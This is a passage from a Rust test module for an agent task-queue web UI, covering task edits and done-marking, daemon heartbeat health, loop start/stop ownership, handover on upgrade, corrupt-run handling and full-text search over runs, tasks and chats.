10488        task.start("20260902-140502-bbbb".to_owned());
10489        queue.put(&mut task).expect("file the task");
10490
10491        let res = f
10492            .post(
10493                &format!("/api/queue/{}/edit", task.id),
10494                Some(r#"{"title":"x","instruction":"y"}"#),
10495            )
10496            .await;
10497        assert_eq!(res.status, 400, "{}", res.body);
10498        assert!(
10499            res.json()["error"]
10500                .as_str()
10501                .is_some_and(|e| e.contains("running")),
10502            "{}",
10503            res.body
10504        );
10505        assert_eq!(
10506            queue.get(&task.id).expect("reload").instruction,
10507            "do not touch",
10508            "the refused edit must not change the file"
10509        );
10510    }
10511
10512    #[tokio::test]
10513    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10514        let f = Fixture::start().await;
10515        let queue = f.queue();
10516        let mut task = Task::new(
10517            "busy".to_owned(),
10518            "Running right now".to_owned(),
10519            PathBuf::from("/repo/magi"),
10520            Source::Human,
10521        );
10522        queue.put(&mut task).expect("file the task");
10523        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10524
10525        let priority = f
10526            .post(
10527                &format!("/api/queue/{}/priority", task.id),
10528                Some(r#"{"priority":9}"#),
10529            )
10530            .await;
10531        assert_eq!(priority.status, 409, "{}", priority.body);
10532
10533        let edit = f
10534            .post(
10535                &format!("/api/queue/{}/edit", task.id),
10536                Some(r#"{"title":"x","instruction":"y"}"#),
10537            )
10538            .await;
10539        assert_eq!(edit.status, 409, "{}", edit.body);
10540    }
10541
10542    #[tokio::test]
10543    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10544        let f = Fixture::start().await;
10545        let queue = f.queue();
10546        let mut task = Task::new(
10547            "shipped by hand".to_owned(),
10548            "merged outside the loop".to_owned(),
10549            PathBuf::from("/repo/magi"),
10550            Source::Agent {
10551                run: "20260101-000000-b455".to_owned(),
10552                node: "implement".to_owned(),
10553            },
10554        );
10555        task.runs.push("20260101-000000-b455".to_owned());
10556        task.runs.push("20260101-000000-9af4".to_owned());
10557        queue.put(&mut task).expect("file the task");
10558        let created_at = task.created_at;
10559
10560        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10561        assert_eq!(done.status, 200, "{}", done.body);
10562        assert_eq!(done.json()["status_str"], "done");
10563
10564        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10565        assert_eq!(
10566            reloaded.runs,
10567            ["20260101-000000-b455", "20260101-000000-9af4"]
10568        );
10569        assert_eq!(
10570            reloaded.source,
10571            Source::Agent {
10572                run: "20260101-000000-b455".to_owned(),
10573                node: "implement".to_owned(),
10574            }
10575        );
10576        assert_eq!(reloaded.created_at, created_at);
10577    }
10578
10579    #[tokio::test]
10580    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10581        // `done` is allowed on any status, including `held`, with no release
10582        // in between - so a task held for a reason and then closed directly
10583        // must not keep reading as "waiting on" it afterwards, on its card or
10584        // in `magi task show`.
10585        let f = Fixture::start().await;
10586        let queue = f.queue();
10587        let mut task = Task::new(
10588            "landed while held".to_owned(),
10589            "x".to_owned(),
10590            PathBuf::from("/repo/magi"),
10591            Source::Human,
10592        );
10593        task.hold_manual(Some("waiting on 3ed9".to_owned()));
10594        queue.put(&mut task).expect("file the held task");
10595
10596        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10597        assert_eq!(done.status, 200, "{}", done.body);
10598        assert_eq!(done.json()["status_str"], "done");
10599        assert!(
10600            done.json()["hold_reason"].is_null(),
10601            "a done task cannot still be waiting on something: {}",
10602            done.body
10603        );
10604    }
10605
10606    #[tokio::test]
10607    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10608        // `queue_done` is the phone's way to close a task the loop never
10609        // settled itself - after confirming a manual GitHub merge, say - and
10610        // that is just as much "this task's story is over" as the loop's own
10611        // `Merged`/`Ready` path, so it must trigger the same cleanup.
10612        let f = Fixture::start().await;
10613        let queue = f.queue();
10614        let runs = f.runs();
10615        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10616        // The last attempt has to have actually landed for the earlier one
10617        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
10618        // for the case where it didn't.
10619        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10620
10621        let mut task = Task::new(
10622            "landed by hand".to_owned(),
10623            "x".to_owned(),
10624            PathBuf::from("/repo/magi"),
10625            Source::Human,
10626        );
10627        task.runs.push("20260101-000000-doa1".to_owned());
10628        task.runs.push("20260101-000000-doa2".to_owned());
10629        queue.put(&mut task).expect("file the task");
10630
10631        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10632        assert_eq!(done.status, 200, "{}", done.body);
10633
10634        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10635            .expect("run still on disk under this fixture's own home");
10636        assert_eq!(
10637            reloaded_run.status,
10638            RunStatus::Superseded,
10639            "closing the task by hand must relabel the earlier blocked attempt exactly \
10640             like the loop's own settle path does"
10641        );
10642    }
10643
10644    #[tokio::test]
10645    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10646        // Closing a task by hand is allowed from any status, including one
10647        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
10648        // manual merge the loop never watched, say. Nothing here is provably
10649        // why the task is done, so nothing earlier gets relabelled either.
10650        let f = Fixture::start().await;
10651        let queue = f.queue();
10652        let runs = f.runs();
10653        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10654        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10655
10656        let mut task = Task::new(
10657            "closed with nothing actually landed".to_owned(),
10658            "x".to_owned(),
10659            PathBuf::from("/repo/magi"),
10660            Source::Human,
10661        );
10662        task.runs.push("20260101-000000-dob1".to_owned());
10663        task.runs.push("20260101-000000-dob2".to_owned());
10664        queue.put(&mut task).expect("file the task");
10665
10666        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10667        assert_eq!(done.status, 200, "{}", done.body);
10668
10669        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10670            .expect("run still on disk under this fixture's own home");
10671        assert_eq!(
10672            reloaded_run.status,
10673            RunStatus::Blocked,
10674            "the last recorded attempt never landed, so the earlier one must not be \
10675             relabelled as superseded by it"
10676        );
10677    }
10678
10679    #[tokio::test]
10680    async fn unknown_ids_are_json_not_found_on_both_stores() {
10681        let f = Fixture::start().await;
10682
10683        let run = f.get("/api/runs/nosuchrun").await;
10684        let task = f.post("/api/queue/nosuchtask/hold", None).await;
10685
10686        assert_eq!(run.status, 404);
10687        assert_eq!(task.status, 404);
10688        assert!(
10689            run.json()["error"]
10690                .as_str()
10691                .is_some_and(|e| e.contains("run")),
10692            "the error names what was not found: {}",
10693            run.body
10694        );
10695        assert!(
10696            task.json()["error"]
10697                .as_str()
10698                .is_some_and(|e| e.contains("task")),
10699            "the error names what was not found: {}",
10700            task.body
10701        );
10702    }
10703
10704    #[tokio::test]
10705    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10706        let f = Fixture::start().await;
10707
10708        let missing = f.get("/api/health").await.json();
10709        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10710
10711        write_daemon(
10712            f.home.path(),
10713            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10714        );
10715        let stale = f.get("/api/health").await.json();
10716        assert_eq!(
10717            stale["daemon"]["running"], false,
10718            "a minute without a heartbeat is a dead daemon, not a busy one"
10719        );
10720        assert!(
10721            stale["daemon"]["stale_for_secs"]
10722                .as_i64()
10723                .is_some_and(|s| s >= 55),
10724            "staleness is reported so the UI can say how long: {stale}"
10725        );
10726
10727        write_daemon(f.home.path(), Timestamp::now());
10728        let fresh = f.get("/api/health").await.json();
10729        assert_eq!(fresh["daemon"]["running"], true);
10730        assert_eq!(fresh["daemon"]["idle"], false);
10731        assert_eq!(fresh["daemon"]["pid"], 4242);
10732        assert_eq!(fresh["daemon"]["completed"], 7);
10733        assert_eq!(
10734            fresh["daemon"]["current"][0]["task"],
10735            "20260902-140501-aaaa"
10736        );
10737        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10738    }
10739
10740    #[tokio::test]
10741    async fn the_loop_is_not_running_until_something_starts_it() {
10742        let f = Fixture::start().await;
10743
10744        let view = f.get("/api/loop").await.json();
10745        assert_eq!(view["running"], false);
10746        assert_eq!(
10747            view["owned"], false,
10748            "nobody owns a loop that does not exist: {view}"
10749        );
10750        assert_eq!(view["stopping"], false);
10751        assert_eq!(view["last_error"], Value::Null);
10752        assert_eq!(view["daemon"]["running"], false);
10753        assert_eq!(
10754            view["repo"], "/repo/magi",
10755            "the repository a start would use, named before it is started"
10756        );
10757    }
10758
10759    #[tokio::test]
10760    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10761        let f = Fixture::start().await;
10762
10763        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10764        assert_eq!(res.status, 200, "{}", res.body);
10765        let view = res.json();
10766        assert_eq!(view["running"], true);
10767        assert_eq!(
10768            view["owned"], true,
10769            "the loop the UI started is the UI's own to stop: {view}"
10770        );
10771        assert_eq!(
10772            view["merge"],
10773            Value::Null,
10774            "no override was given, so each repository's own config decides"
10775        );
10776
10777        // The same object from the route a waking phone polls first. Two
10778        // surfaces disagreeing about whether anything is running is exactly
10779        // the confusion this UI exists to remove.
10780        let health = f.get("/api/health").await.json();
10781        assert_eq!(health["loop"]["running"], true, "{health}");
10782        assert_eq!(health["loop"]["owned"], true, "{health}");
10783
10784        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10785    }
10786
10787    #[tokio::test]
10788    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10789        let f = Fixture::start().await;
10790        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10791        assert_eq!(first.status, 200, "{}", first.body);
10792
10793        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10794        assert_eq!(
10795            again.status, 409,
10796            "two loops on one queue race for the same claims: {}",
10797            again.body
10798        );
10799        assert!(
10800            again.json()["error"]
10801                .as_str()
10802                .is_some_and(|e| e.contains("already running the loop")),
10803            "the refusal has to say why: {}",
10804            again.body
10805        );
10806        assert_eq!(
10807            f.get("/api/loop").await.json()["running"],
10808            true,
10809            "and the loop that was already running is untouched by it"
10810        );
10811
10812        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10813    }
10814
10815    #[tokio::test]
10816    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10817        let f = Fixture::start().await;
10818        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10819
10820        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10821        assert_eq!(
10822            res.status, 200,
10823            "the answer must not wait for the loop: a run in flight is tens of \
10824             minutes and the operator is holding a phone: {}",
10825            res.body
10826        );
10827
10828        let view = settled(&f, |v| v["running"] == false).await;
10829        assert_eq!(view["owned"], false);
10830        assert_eq!(
10831            view["stopping"], false,
10832            "a loop that has stopped is not still stopping: {view}"
10833        );
10834        assert_eq!(
10835            view["last_error"],
10836            Value::Null,
10837            "a loop that was asked to stop did not fail: {view}"
10838        );
10839
10840        // Idempotent, because the operator cannot tell a slow stop from a lost
10841        // one and will press it again.
10842        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10843        assert_eq!(twice.status, 200, "{}", twice.body);
10844    }
10845
10846    #[tokio::test]
10847    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10848        let f = Fixture::start().await;
10849        // How the operator has been doing it: a `magi serve` of their own,
10850        // heartbeat fresh, in the same home this UI reads.
10851        write_daemon(f.home.path(), Timestamp::now());
10852
10853        let view = f.get("/api/loop").await.json();
10854        assert_eq!(view["running"], false, "not in this process: {view}");
10855        assert_eq!(view["owned"], false, "and not this process's to control");
10856        assert_eq!(
10857            view["daemon"]["running"], true,
10858            "but a loop is alive somewhere, which is what the UI must say"
10859        );
10860        assert_eq!(view["daemon"]["pid"], 4242);
10861
10862        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10863            let res = f.post("/api/loop", Some(body)).await;
10864            assert_eq!(
10865                res.status, 409,
10866                "neither button may pretend to work on someone else's loop: {}",
10867                res.body
10868            );
10869            assert!(
10870                res.json()["error"]
10871                    .as_str()
10872                    .is_some_and(|e| e.contains("4242")),
10873                "the refusal has to name the process the operator must go to: {}",
10874                res.body
10875            );
10876        }
10877        assert_eq!(
10878            f.get("/api/loop").await.json()["running"],
10879            false,
10880            "and the refusal started nothing"
10881        );
10882    }
10883
10884    #[tokio::test]
10885    async fn a_stale_status_file_is_not_a_foreign_owner() {
10886        let f = Fixture::start().await;
10887        write_daemon(
10888            f.home.path(),
10889            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10890        );
10891
10892        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10893        assert_eq!(
10894            res.status, 200,
10895            "a daemon killed a minute ago must not lock the loop out of its \
10896             own home for good: {}",
10897            res.body
10898        );
10899        assert_eq!(res.json()["running"], true);
10900
10901        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10902    }
10903
10904    #[tokio::test]
10905    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10906        let f = Fixture::start().await;
10907        let before = f.get("/api/health").await.json()["loop_rev"]
10908            .as_u64()
10909            .expect("a loop revision");
10910
10911        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10912
10913        let after = f.get("/api/health").await.json()["loop_rev"]
10914            .as_u64()
10915            .expect("a loop revision");
10916        assert!(
10917            after > before,
10918            "the loop is in-process state, so this counter is the only thing \
10919             that tells a second device the first one started it: {before} -> \
10920             {after}"
10921        );
10922
10923        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10924    }
10925
10926    #[tokio::test]
10927    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10928        let f = Fixture::with_loop(launch_broken).await;
10929
10930        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10931        assert_eq!(
10932            res.status, 200,
10933            "starting it is not the failure: {}",
10934            res.body
10935        );
10936
10937        let view = settled(&f, |v| v["last_error"].is_string()).await;
10938        assert_eq!(
10939            view["running"], false,
10940            "a loop that died must not read as running, or the operator has \
10941             nothing to press: {view}"
10942        );
10943        assert_eq!(view["owned"], false);
10944        assert!(
10945            view["last_error"]
10946                .as_str()
10947                .is_some_and(|e| e.contains("read-only file system")),
10948            "the phone is where a loop that died at 3am is visible: {view}"
10949        );
10950
10951        // And it can be started again: the corpse was reaped, not left to
10952        // occupy the slot.
10953        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10954        assert_eq!(again.status, 200, "{}", again.body);
10955        assert!(
10956            again.json()["last_error"]
10957                .as_str()
10958                .is_none_or(|e| !e.contains("read-only file system")),
10959            "a fresh start does not keep showing why the last one died: {}",
10960            again.body
10961        );
10962    }
10963
10964    /// An upgrade parks the run in flight before it restarts, and a park waits
10965    /// for the node - up to `timeout_implement`, an hour by default. The deck
10966    /// has to answer for all of it: the operator has just been told a run is
10967    /// finishing first, and this address is the only place that says how it is
10968    /// going. It did not, once - the listener went with the `select!` arm that
10969    /// began the handover, and the phone got `Cannot reach magi: Failed to
10970    /// fetch` for the rest of the wave.
10971    ///
10972    /// The other half is the older rule: the address must be free *before* the
10973    /// successor is started, or it dies on "address already in use" with its
10974    /// stdio sent to null and the deck never comes back.
10975    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10976    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10977        let home = TempDir::new().expect("temp home");
10978        let runs = home.path().join("runs");
10979        std::fs::create_dir_all(&runs).expect("runs dir");
10980        let ui = Ui::new(
10981            Queue::at(home.path().join("queue")),
10982            Questions::at(home.path().join("questions")),
10983            Talks::at(home.path().join("talks")),
10984            runs,
10985            home.path().to_path_buf(),
10986            PathBuf::from("/repo/magi"),
10987        )
10988        .with_worktrees_root(home.path().join("wt"))
10989        .with_launch(launch_knocking_on_the_way_out);
10990        let looping = ui.looping();
10991        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10992            .await
10993            .expect("bind loopback");
10994        let addr = listener.local_addr().expect("local addr");
10995        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10996        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10997
10998        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10999        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11000
11001        // The successor's whole job, and the one thing it cannot do while this
11002        // process still holds the socket.
11003        //
11004        // One bind is not enough, and the reason is not this process's order of
11005        // operations: aborting the accept loop drops the listener, but axum
11006        // serves each accepted connection on a task of its own, and those are
11007        // not aborted. The requests above left sockets on this very address,
11008        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
11009        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
11010        // Production absorbs that in `bind_waiting`; so does this. Only
11011        // `AddrInUse` is retried, and the listener is released before the
11012        // closure returns - were the order wrong, the listener would outlive
11013        // the closure and every attempt would fail. Inferred from the bind
11014        // rules and the code; not reproduced on macOS.
11015        let bound = std::sync::Mutex::new(None);
11016        hand_over(home.path(), &looping, served, |_| {
11017            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11018            let attempt = loop {
11019                match std::net::TcpListener::bind(addr) {
11020                    Ok(l) => {
11021                        drop(l);
11022                        break Ok(());
11023                    }
11024                    Err(e)
11025                        if e.kind() == std::io::ErrorKind::AddrInUse
11026                            && std::time::Instant::now() < deadline =>
11027                    {
11028                        std::thread::sleep(std::time::Duration::from_millis(10));
11029                    }
11030                    Err(e) => break Err(e.to_string()),
11031                }
11032            };
11033            *bound.lock().expect("bound") = Some(attempt);
11034            Ok(1)
11035        })
11036        .await
11037        .expect("hand over");
11038
11039        assert_eq!(
11040            *PARK_HEARD.lock().expect("park heard"),
11041            Some(200),
11042            "the deck must answer while the loop is parking"
11043        );
11044        let attempt = bound
11045            .lock()
11046            .expect("bound")
11047            .take()
11048            .expect("the successor was started");
11049        assert!(
11050            attempt.is_ok(),
11051            "and the address must be free by the time it is: {attempt:?}"
11052        );
11053    }
11054
11055    #[tokio::test]
11056    async fn a_newer_daemon_status_file_still_renders() {
11057        let f = Fixture::start().await;
11058        // A field this build has never heard of must not turn the status line
11059        // into a 500; that is the whole reason the reader is permissive.
11060        std::fs::write(
11061            f.home.path().join("daemon.json"),
11062            serde_json::json!({
11063                "schema": 2,
11064                "updated_at": Timestamp::now().to_string(),
11065                "idle": true,
11066                "surprise": { "nested": [1, 2, 3] },
11067            })
11068            .to_string(),
11069        )
11070        .expect("write daemon.json");
11071
11072        let health = f.get("/api/health").await;
11073
11074        assert_eq!(health.status, 200);
11075        assert_eq!(health.json()["daemon"]["running"], true);
11076    }
11077
11078    #[tokio::test]
11079    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11080        let f = Fixture::start().await;
11081        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11082        let broken = f.runs().join("20260902-140502-bad");
11083        std::fs::create_dir_all(&broken).expect("run dir");
11084        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11085
11086        let list = f.get("/api/runs").await;
11087        let detail = f.get("/api/runs/20260902-140502-bad").await;
11088
11089        assert_eq!(list.status, 200);
11090        let listed = list.json();
11091        let ids: Vec<&str> = listed
11092            .as_array()
11093            .expect("an array")
11094            .iter()
11095            .map(|r| r["id"].as_str().expect("an id"))
11096            .collect();
11097        assert_eq!(
11098            ids,
11099            vec!["20260902-140501-good"],
11100            "one unreadable run must not cost the operator the whole history"
11101        );
11102        assert_eq!(detail.status, 500);
11103        assert!(
11104            detail.json()["error"]
11105                .as_str()
11106                .is_some_and(|e| e.contains("run.json")),
11107            "the failure names the file to look at: {}",
11108            detail.body
11109        );
11110        // A skipped run has to be countable somewhere, or the UI shows an
11111        // empty history with nothing to explain it - which is exactly what a
11112        // directory full of older-schema runs looks like.
11113        let health = f.get("/api/health").await;
11114        assert_eq!(health.json()["runs_unreadable"], 1);
11115    }
11116
11117    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
11118    #[tokio::test]
11119    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11120        let f = Fixture::start().await;
11121        let runs = f.runs();
11122        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11123        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11124        // Text three levels down, in a shape no current RunState has: an older
11125        // schema must still search.
11126        let path = runs.join("20260902-140502-bbbb").join("run.json");
11127        let mut v: serde_json::Value =
11128            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11129        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11130        std::fs::write(&path, v.to_string()).unwrap();
11131        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11132        std::fs::write(
11133            runs.join("20260902-140503-cccc").join("run.json"),
11134            "{ not json",
11135        )
11136        .unwrap();
11137
11138        let res = f.get("/api/search?scope=runs&q=quokka").await;
11139        assert_eq!(res.status, 200, "{}", res.body);
11140        let v = res.json();
11141        assert_eq!(v["total"], 1, "{v}");
11142        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11143        assert_eq!(v["hits"][0]["field"], "text");
11144        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11145        let parts = v["hits"][0]["snippet"].as_array().unwrap();
11146        assert!(
11147            parts
11148                .iter()
11149                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11150            "{v}"
11151        );
11152        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11153        assert_eq!(
11154            flat, "The Quokka leaks across threads",
11155            "whitespace is collapsed"
11156        );
11157
11158        // Terms are ANDed, across different fields, case-insensitively.
11159        let both = f
11160            .get("/api/search?scope=runs&q=MOBILE%20quokka")
11161            .await
11162            .json();
11163        assert_eq!(both["total"], 1, "{both}");
11164        let neither = f
11165            .get("/api/search?scope=runs&q=quokka%20zebra")
11166            .await
11167            .json();
11168        assert_eq!(neither["total"], 0, "{neither}");
11169        // Everything in the task statement is reachable, not only the row text.
11170        let stmt = f
11171            .get("/api/search?scope=runs&q=mobile%20first")
11172            .await
11173            .json();
11174        assert_eq!(stmt["total"], 2, "{stmt}");
11175        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11176        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11177    }
11178
11179    #[test]
11180    fn snippet_ignores_terms_longer_than_the_field() {
11181        let terms = ["ok".to_owned(), "elephant".to_owned()];
11182        let parts = snippet_of("ok", &terms);
11183        assert_eq!(
11184            parts,
11185            vec![SnippetPart {
11186                text: "ok".to_owned(),
11187                hit: true
11188            }]
11189        );
11190    }
11191
11192    #[test]
11193    fn snippet_marks_matches_longer_than_the_window() {
11194        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11195        let hit_len = |parts: &[SnippetPart]| -> usize {
11196            parts
11197                .iter()
11198                .filter(|p| p.hit)
11199                .map(|p| p.text.chars().count())
11200                .sum()
11201        };
11202        let total =
11203            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11204
11205        let long = "a".repeat(120);
11206        let parts = snippet_of(&long, std::slice::from_ref(&long));
11207        assert!(hit_len(&parts) > 0, "{parts:?}");
11208        assert!(total(&parts) <= cap);
11209
11210        let ja = "あ".repeat(130);
11211        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11212        assert!(hit_len(&parts) > 0, "{parts:?}");
11213        assert!(total(&parts) <= cap);
11214
11215        // A short hit, then one straddling the window's end.
11216        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11217        let term = format!("ab{}", "c".repeat(100));
11218        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11219        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11220        assert!(total(&parts) <= cap);
11221
11222        // Only the head matches: not highlighted.
11223        let text = format!("{}z", "a".repeat(119));
11224        let parts = snippet_of(&text, &["a".repeat(120)]);
11225        assert_eq!(hit_len(&parts), 0, "{parts:?}");
11226    }
11227
11228    #[tokio::test]
11229    async fn search_caps_hits_and_snippet_length() {
11230        let f = Fixture::start().await;
11231        let runs = f.runs();
11232        for n in 0..(SEARCH_MAX_HITS + 5) {
11233            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11234        }
11235        let v = f.get("/api/search?scope=runs&q=web").await.json();
11236        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11237        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11238        assert_eq!(v["truncated"], true);
11239        // Every listed run hit carries its list row for the page's filters.
11240        assert!(
11241            v["hits"]
11242                .as_array()
11243                .unwrap()
11244                .iter()
11245                .all(|h| h["run"]["status"] == "merged")
11246        );
11247
11248        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11249        let parts = snippet_of(&long, &["needle".to_owned()]);
11250        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11251        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11252        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11253    }
11254
11255    #[tokio::test]
11256    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11257        let f = Fixture::start().await;
11258        let queue = f.queue();
11259        let mut t = Task::new(
11260            "short title".to_owned(),
11261            "line one\nthe hidden Armadillo detail".to_owned(),
11262            PathBuf::from("/repo/magi"),
11263            Source::Agent {
11264                run: "r1".to_owned(),
11265                node: "chat".to_owned(),
11266            },
11267        );
11268        t.last_error = Some("disk full on /tmp".to_owned());
11269        queue.put(&mut t).expect("file the task");
11270
11271        for (q, want) in [
11272            ("armadillo", 1),
11273            ("disk%20FULL", 1),
11274            ("chat", 1),
11275            ("queued", 1),
11276            ("short%20nothing", 0),
11277        ] {
11278            let v = f
11279                .get(&format!("/api/search?scope=tasks&q={q}"))
11280                .await
11281                .json();
11282            assert_eq!(v["total"], want, "{q}: {v}");
11283        }
11284        for bad in [
11285            "/api/search?scope=tasks&q=",
11286            "/api/search?scope=tasks&q=%20",
11287            "/api/search?scope=chats&q=",
11288            "/api/search?scope=chats&q=%20",
11289            "/api/search?scope=nope&q=a",
11290            "/api/search?q=a",
11291        ] {
11292            assert_eq!(f.get(bad).await.status, 400, "{bad}");
11293        }
11294    }
11295
11296    /// Write one conversation file the way the store reads it back.
11297    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11298        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11299            .expect("seat value");
11300        let turns: Vec<serde_json::Value> = turns
11301            .iter()
11302            .map(|(who, body)| {
11303                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11304            })
11305            .collect();
11306        let doc = serde_json::json!({
11307            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11308            "status": status, "turns": turns,
11309            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11310            "seat": seat,
11311        });
11312        let dir = f.home.path().join("talks");
11313        std::fs::create_dir_all(&dir).expect("talks dir");
11314        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11315    }
11316
11317    #[tokio::test]
11318    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11319        let f = Fixture::start().await;
11320        write_talk(
11321            &f,
11322            "20260901-000001-aaaa",
11323            "open",
11324            &[
11325                (
11326                    "operator",
11327                    "\n  Why does the Pangolin cache expire?\nsecond line",
11328                ),
11329                ("agent", "Because the TTL is thirty seconds."),
11330            ],
11331        );
11332        write_talk(
11333            &f,
11334            "20260901-000002-bbbb",
11335            "closed",
11336            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11337        );
11338        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11339
11340        let search = |q: &'static str| {
11341            let f = &f;
11342            async move {
11343                f.get(&format!("/api/search?scope=chats&q={q}"))
11344                    .await
11345                    .json()
11346            }
11347        };
11348
11349        let v = search("PANGOLIN").await;
11350        assert_eq!(v["scope"], "chats");
11351        assert_eq!(v["total"], 1, "{v}");
11352        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11353        assert_eq!(v["hits"][0]["field"], "title");
11354        assert_eq!(v["unreadable"], 1, "{v}");
11355        let marked: Vec<&str> = v["hits"][0]["snippet"]
11356            .as_array()
11357            .unwrap()
11358            .iter()
11359            .filter(|p| p["hit"] == true)
11360            .map(|p| p["text"].as_str().unwrap())
11361            .collect();
11362        assert_eq!(marked, ["Pangolin"]);
11363
11364        // An agent turn, in a closed conversation.
11365        let v = search("zebra").await;
11366        assert_eq!(v["total"], 1, "{v}");
11367        assert_eq!(v["hits"][0]["field"], "agent");
11368        // Words may sit in different turns; all must be present.
11369        assert_eq!(search("pangolin%20thirty").await["total"], 1);
11370        assert_eq!(search("pangolin%20zebra").await["total"], 0);
11371        // Bookkeeping is not searched.
11372        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11373            assert_eq!(search(q).await["total"], 0, "{q}");
11374        }
11375        // The first line only is the title; the second line is still a turn.
11376        assert_eq!(search("second").await["hits"][0]["field"], "operator");
11377        // Open conversations are listed before closed ones.
11378        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11379
11380        let v = f.get("/api/search?scope=nope&q=a").await;
11381        assert_eq!(v.status, 400);
11382        assert!(
11383            v.body.contains("scope must be runs, tasks or chats"),
11384            "{}",
